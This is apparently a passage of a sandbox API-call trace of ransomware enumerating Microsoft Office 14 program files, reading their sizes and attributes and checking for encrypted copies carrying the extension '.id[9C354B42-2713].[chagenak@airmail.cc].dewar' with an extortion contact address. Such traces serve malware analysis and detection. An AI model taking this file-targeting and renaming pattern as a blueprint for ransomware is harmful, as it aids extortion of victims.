shared\\office14\\msoshext.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0232.750] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.751] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0232.753] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=56144) returned 1 [0232.753] CloseHandle (hObject=0x1e4) returned 1 [0232.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll")) returned 0x20 [0232.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll")) returned 0x20 [0232.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0232.755] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.758] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0232.772] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=121168) returned 1 [0232.773] CloseHandle (hObject=0x1e4) returned 1 [0232.773] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe")) returned 0x20 [0232.773] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe")) returned 0x20 [0232.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0232.774] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.775] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0232.776] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=56192) returned 1 [0232.776] CloseHandle (hObject=0x1e4) returned 1 [0232.776] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll")) returned 0x20 [0232.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll")) returned 0x20 [0232.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0232.778] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.778] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0232.782] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1198464) returned 1 [0232.782] CloseHandle (hObject=0x1e4) returned 1 [0232.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll")) returned 0x20 [0232.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll")) returned 0x20 [0232.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0232.783] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0232.785] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=705392) returned 1 [0232.785] CloseHandle (hObject=0x1e4) returned 1 [0232.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll")) returned 0x20 [0232.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll")) returned 0x20 [0232.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0232.786] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.790] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0232.793] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=6747) returned 1 [0232.793] CloseHandle (hObject=0x1e4) returned 1 [0232.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab")) returned 0x20 [0232.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab")) returned 0x20 [0232.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0232.794] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.794] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0232.797] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=24976) returned 1 [0232.797] CloseHandle (hObject=0x1e4) returned 1 [0232.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll")) returned 0x20 [0232.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll")) returned 0x20 [0232.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0232.798] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.219] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0233.953] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=232840) returned 1 [0233.953] CloseHandle (hObject=0x1ec) returned 1 [0233.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe")) returned 0x20 [0233.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe")) returned 0x20 [0233.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0233.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0235.409] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=819) returned 1 [0235.409] CloseHandle (hObject=0x1f4) returned 1 [0235.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 0x20 [0235.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 0x20 [0235.410] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0235.410] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.411] SetEvent (hEvent=0x118) returned 1 [0235.411] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0235.558] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2624) returned 1 [0235.559] CloseHandle (hObject=0x1ec) returned 1 [0235.559] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 0x20 [0235.559] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 0x20 [0235.559] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0235.559] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.560] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0235.561] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=913) returned 1 [0235.561] CloseHandle (hObject=0x1ec) returned 1 [0235.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 0x20 [0235.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 0x20 [0235.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0235.562] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.563] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0235.816] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1452) returned 1 [0235.816] CloseHandle (hObject=0x1e0) returned 1 [0235.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 0x20 [0235.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 0x20 [0235.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0235.817] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.817] SetEvent (hEvent=0x118) returned 1 [0235.820] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0236.589] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=15224) returned 1 [0236.589] CloseHandle (hObject=0x1e4) returned 1 [0236.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll")) returned 0x20 [0236.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll")) returned 0x20 [0236.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0236.590] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.609] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0236.610] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=26929) returned 1 [0236.610] CloseHandle (hObject=0x1e4) returned 1 [0236.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 0x20 [0236.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 0x20 [0236.611] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0236.611] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.612] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0236.614] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=9352) returned 1 [0236.614] CloseHandle (hObject=0x1e4) returned 1 [0236.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 0x20 [0236.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 0x20 [0236.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup 